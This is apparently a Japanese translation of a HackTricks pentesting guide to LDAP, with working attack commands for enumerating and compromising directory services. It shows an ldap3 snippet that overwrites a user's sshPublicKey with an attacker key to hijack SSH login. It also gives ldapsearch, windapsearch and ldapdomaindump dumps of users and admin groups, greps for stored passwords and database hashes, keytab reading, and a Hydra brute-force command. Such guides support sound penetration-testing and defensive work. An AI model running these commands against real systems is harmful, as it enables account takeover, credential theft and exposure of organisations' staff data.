389, 636, 3268, 3269 - Pentesting LDAP

ゼロからヒーローまでAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert)

HackTricksをサポートする他の方法:

LDAP(Lightweight Directory Access Protocol)の使用は、主に組織、個人、ファイル、およびデバイスなどのさまざまなエンティティをネットワーク内(公共およびプライベートの両方)で見つけるために行われます。これは、先行技術であるDAPと比較して、コードのフットプリントが小さくなっているため、効率的なアプローチを提供します。

LDAPディレクトリは、各サーバーがディレクトリの複製されたおよび同期されたバージョンを保持するように構造化されています。これらのサーバーは、Directory System Agent(DSA)と呼ばれます。リクエストの処理の責任は完全にLDAPサーバーにあり、必要に応じて他のDSAと通信してリクエスターに統一された応答を提供することができます。

LDAPディレクトリの構成は、トップにルートディレクトリがあるツリー階層に似ています。これは国から始まり、組織に分かれ、さらには部門や部門を表す組織単位に分かれ、最終的には人やファイル、プリンターなどの共有リソースを含む個々のエンティティレベルに達します。

デフォルトポート: 389および636(ldaps)。グローバルカタログ(ActiveDirectoryのLDAP)は、デフォルトでポート3268およびLDAPS用の3269で利用可能です。

PORT    STATE SERVICE REASON
389/tcp open  ldap    syn-ack
636/tcp open  tcpwrapped

LDAPデータ交換形式

LDIF(LDAPデータ交換形式)は、ディレクトリのコンテンツをレコードのセットとして定義します。また、更新リクエスト(追加、変更、削除、名前変更)を表すこともできます。

dn: dc=local
dc: local
objectClass: dcObject

dn: dc=moneycorp,dc=local
dc: moneycorp
objectClass: dcObject
objectClass: organization

dn ou=it,dc=moneycorp,dc=local
objectClass: organizationalUnit
ou: dev

dn: ou=marketing,dc=moneycorp,dc=local
objectClass: organizationalUnit
Ou: sales

dn: cn= ,ou= ,dc=moneycorp,dc=local
objectClass: personalData
cn:
sn:
gn:
uid:
ou:
mail: pepe@hacktricks.xyz
phone: 23627387495
  • Lines 1-3 はトップレベルドメイン local を定義しています

  • Lines 5-8 は最初のレベルドメイン moneycorp (moneycorp.local) を定義しています

  • Lines 10-16 は 2 つの組織単位、dev と sales を定義しています

  • Lines 18-26 はドメインのオブジェクトを作成し、値を持つ属性を割り当てています

データの書き込み

値を変更できる場合、非常に興味深いアクションを実行できる可能性があります。たとえば、ユーザーまたは他のユーザーの "sshPublicKey" 情報を変更できるとします。この属性が存在する場合、ssh が LDAP から公開鍵を読み取っている可能性が高いです。ユーザーの公開鍵を変更できれば、ssh でパスワード認証が有効になっていなくてもそのユーザーとしてログインできるようになります。

# Example from https://www.n00py.io/2020/02/exploiting-ldap-server-null-bind/
>>> import ldap3
>>> server = ldap3.Server('x.x.x.x', port =636, use_ssl = True)
>>> connection = ldap3.Connection(server, 'uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN', 'PASSWORD', auto_bind=True)
>>> connection.bind()
True
>>> connection.extend.standard.who_am_i()
u'dn:uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN'
>>> connection.modify('uid=USER,ou=USERS,dc=DOMAINM=,dc=DOMAIN',{'sshPublicKey': [(ldap3.MODIFY_REPLACE, ['ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDHRMu2et/B5bUyHkSANn2um9/qtmgUTEYmV9cyK1buvrS+K2gEKiZF5pQGjXrT71aNi5VxQS7f+s3uCPzwUzlI2rJWFncueM1AJYaC00senG61PoOjpqlz/EUYUfj6EUVkkfGB3AUL8z9zd2Nnv1kKDBsVz91o/P2GQGaBX9PwlSTiR8OGLHkp2Gqq468QiYZ5txrHf/l356r3dy/oNgZs7OWMTx2Rr5ARoeW5fwgleGPy6CqDN8qxIWntqiL1Oo4ulbts8OxIU9cVsqDsJzPMVPlRgDQesnpdt4cErnZ+Ut5ArMjYXR2igRHLK7atZH/qE717oXoiII3UIvFln2Ivvd8BRCvgpo+98PwN8wwxqV7AWo0hrE6dqRI7NC4yYRMvf7H8MuZQD5yPh2cZIEwhpk7NaHW0YAmR/WpRl4LbT+o884MpvFxIdkN1y1z+35haavzF/TnQ5N898RcKwll7mrvkbnGrknn+IT/v3US19fPJWzl1/pTqmAnkPThJW/k= badguy@evil'])]})

平文の資格情報を嗅ぐ

LDAPがSSLなしで使用されている場合、ネットワーク内で平文の資格情報を嗅ぐことができます。

また、LDAPサーバーとクライアントの間のネットワークでMITM攻撃を実行することができます。ここでは、クライアントが平文の資格情報を使用してログインするようにダウングレード攻撃を行うことができます。

SSLが使用されている場合、前述のようにMITMを試みることができますが、偽の証明書を提供し、ユーザーがそれを受け入れる場合、認証方法をダウングレードして再び資格情報を見ることができます。

匿名アクセス

TLS SNIチェックをバイパスする

この解説によると、任意のドメイン名(company.comなど)でLDAPサーバーにアクセスするだけで、匿名ユーザーとしてLDAPサービスに連絡し、情報を抽出することができました。

ldapsearch -H ldaps://company.com:636/ -x -s base -b '' "(objectClass=*)" "*" +

LDAP匿名バインド

LDAP匿名バインドは、認証されていない攻撃者がドメインから情報を取得できるようにします。ユーザー、グループ、コンピューター、ユーザーアカウント属性、およびドメインパスワードポリシーの完全なリストなど。これは古い構成であり、Windows Server 2003以降、認証されたユーザーのみがLDAPリクエストを開始できるようになりました。 ただし、管理者は特定のアプリケーションを匿名バインドを許可するように設定する必要がある場合があり、意図した以上のアクセス権を与えてしまい、結果として認証されていないユーザーがAD内のすべてのオブジェクトにアクセスできるようになります。

有効な資格情報

LDAPサーバーにログインするための有効な資格情報がある場合、次のコマンドを使用してドメイン管理者に関するすべての情報をダンプできます:

ldapdomaindump

pip3 install ldapdomaindump
ldapdomaindump <IP> [-r <IP>] -u '<domain>\<username>' -p '<password>' [--authtype SIMPLE] --no-json --no-grep [-o /path/dir]

列挙

自動化

これを使用すると、ドメイン名などの公開情報を見ることができます**:**

nmap -n -sV --script "ldap* and not brute" <IP> #Using anonymous credentials

Python

Python で LDAP 列挙を見る

LDAP を Python を使って資格情報の有無にかかわらず列挙することができます: pip3 install ldap3

まずは資格情報なしで接続を試みてください:

>>> import ldap3
>>> server = ldap3.Server('x.X.x.X', get_info = ldap3.ALL, port =636, use_ssl = True)
>>> connection = ldap3.Connection(server)
>>> connection.bind()
True
>>> server.info

もし前の例と同様にレスポンスが True であれば、LDAP のサーバーからいくつかの興味深いデータネーミングコンテキストドメイン名など)を取得できます:

>>> server.info
DSA info (from DSE):
Supported LDAP versions: 3
Naming contexts:
dc=DOMAIN,dc=DOMAIN

一度命名コンテキストを取得したら、さらに興奮するクエリを作成できます。この単純なクエリでは、ディレクトリ内のすべてのオブジェクトが表示されるはずです:

>>> connection.search(search_base='DC=DOMAIN,DC=DOMAIN', search_filter='(&(objectClass=*))', search_scope='SUBTREE', attributes='*')
True
>> connection.entries

または、ldap全体をダンプします:

>> connection.search(search_base='DC=DOMAIN,DC=DOMAIN', search_filter='(&(objectClass=person))', search_scope='SUBTREE', attributes='userPassword')
True
>>> connection.entries

windapsearch

Windapsearchは、LDAPクエリを利用してWindowsドメインからユーザー、グループ、およびコンピュータを列挙するのに役立つPythonスクリプトです。

# Get computers
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --computers
# Get groups
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --groups
# Get users
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --da
# Get Domain Admins
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --da
# Get Privileged Users
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --privileged-users

ldapsearch

ヌル資格情報をチェックするか、資格情報が有効かどうかを確認します:

ldapsearch -x -H ldap://<IP> -D '' -w '' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
# CREDENTIALS NOT VALID RESPONSE
search: 2
result: 1 Operations error
text: 000004DC: LdapErr: DSID-0C090A4C, comment: In order to perform this opera
tion a successful bind must be completed on the connection., data 0, v3839

もし「bind must be completed」というメッセージが表示された場合、それは資格情報が間違っていることを意味します。

ドメインからすべてを抽出することができます:

ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
-x Simple Authentication
-H LDAP Server
-D My User
-w My password
-b Base site, all data from here will be given

ユーザーを抽出します:

ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
#Example: ldapsearch -x -H ldap://<IP> -D 'MYDOM\john' -w 'johnpassw' -b "CN=Users,DC=mydom,DC=local"

抽出 コンピュータ:

ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Computers,DC=<1_SUBDOMAIN>,DC=<TLD>"

私の情報を抽出します:

ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=<MY NAME>,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"

Domain Adminsを抽出します:

ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Domain Admins,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"

ドメインユーザーを抽出します:

ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Domain Users,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"

Enterprise Adminsを抽出します:

ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Enterprise Admins,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"

Administratorsを抽出します。

ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Administrators,CN=Builtin,DC=<1_SUBDOMAIN>,DC=<TLD>"

リモートデスクトップグループを抽出します:

ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Remote Desktop Users,CN=Builtin,DC=<1_SUBDOMAIN>,DC=<TLD>"

以下のクエリの実行後にgrepを使用してアクセス可能なパスワードがあるかどうかを確認できます:

<ldapsearchcmd...> | grep -i -A2 -B2 "userpas"

pbis

pbisはここからダウンロードできます:https://github.com/BeyondTrust/pbis-open/ 通常は/opt/pbisにインストールされます。 Pbisを使用すると、簡単に基本情報を取得できます:

#Read keytab file
./klist -k /etc/krb5.keytab

#Get known domains info
./get-status
./lsa get-status

#Get basic metrics
./get-metrics
./lsa get-metrics

#Get users
./enum-users
./lsa enum-users

#Get groups
./enum-groups
./lsa enum-groups

#Get all kind of objects
./enum-objects
./lsa enum-objects

#Get groups of a user
./list-groups-for-user <username>
./lsa list-groups-for-user <username>
#Get groups of each user
./enum-users | grep "Name:" | sed -e "s,\\\,\\\\\\\,g" | awk '{print $2}' | while read name; do ./list-groups-for-user "$name"; echo -e "========================\n"; done

#Get users of a group
./enum-members --by-name "domain admins"
./lsa enum-members --by-name "domain admins"
#Get users of each group
./enum-groups | grep "Name:" | sed -e "s,\\\,\\\\\\\,g" | awk '{print $2}' | while read name; do echo "$name"; ./enum-members --by-name "$name"; echo -e "========================\n"; done

#Get description of each user
./adtool -a search-user --name CN="*" --keytab=/etc/krb5.keytab -n <Username> | grep "CN" | while read line; do
echo "$line";
./adtool --keytab=/etc/krb5.keytab -n <username> -a lookup-object --dn="$line" --attr "description";
echo "======================"
done

グラフィカルインターフェース

Apache Directory

ここからApache Directoryをダウンロード できます。このツールの使用例はこちら で確認できます。

jxplorer

LDAPサーバー用のグラフィカルインターフェースをこちら からダウンロードできます。

デフォルトでは、_ /opt/jxplorer_ にインストールされます。

Godap

https://github.com/Macmod/godap でアクセスできます。

ケルベロス経由の認証

ldapsearchを使用して、パラメータ-Y GSSAPIを使用して、NTLMではなくケルベロスに対して認証できます。

POST

データベースが含まれるファイルにアクセスできる場合(_ /var/lib/ldap_ にあるかもしれません)、次のコマンドを使用してハッシュを抽出できます:

cat /var/lib/ldap/*.bdb | grep -i -a -E -o "description.*" | sort | uniq -u

構成ファイル

  • 一般

  • containers.ldif

  • ldap.cfg

  • ldap.conf

  • ldap.xml

  • ldap-config.xml

  • ldap-realm.xml

  • slapd.conf

  • IBM SecureWay V3 サーバー

  • V3.sas.oc

  • Microsoft Active Directory サーバー

  • msadClassesAttrs.ldif

  • Netscape Directory Server 4

  • nsslapd.sas_at.conf

  • nsslapd.sas_oc.conf

  • OpenLDAP ディレクトリサーバー

  • slapd.sas_at.conf

  • slapd.sas_oc.conf

  • Sun ONE Directory Server 5.1

  • 75sas.ldif

Protocol_Name: LDAP    #Protocol Abbreviation if there is one.
Port_Number:  389,636     #Comma separated if there is more than one.
Protocol_Description: Lightweight Directory Access Protocol         #Protocol Abbreviation Spelled out

Entry_1:
Name: Notes
Description: Notes for LDAP
Note: |
The use of LDAP (Lightweight Directory Access Protocol) is mainly for locating various entities such as organizations, individuals, and resources like files and devices within networks, both public and private. It offers a streamlined approach compared to its predecessor, DAP, by having a smaller code footprint.

https://book.hacktricks.xyz/pentesting/pentesting-ldap

Entry_2:
Name: Banner Grab
Description: Grab LDAP Banner
Command: nmap -p 389 --script ldap-search -Pn {IP}

Entry_3:
Name: LdapSearch
Description: Base LdapSearch
Command: ldapsearch -H ldap://{IP} -x

Entry_4:
Name: LdapSearch Naming Context Dump
Description: Attempt to get LDAP Naming Context
Command: ldapsearch -H ldap://{IP} -x -s base namingcontexts

Entry_5:
Name: LdapSearch Big Dump
Description: Need Naming Context to do big dump
Command: ldapsearch -H ldap://{IP} -x -b "{Naming_Context}"

Entry_6:
Name: Hydra Brute Force
Description: Need User
Command: hydra -l {Username} -P {Big_Passwordlist} {IP} ldap2 -V -f
AWSハッキングをゼロからヒーローまで学ぶ htARTE(HackTricks AWS Red Team Expert)

HackTricksをサポートする他の方法:

Last updated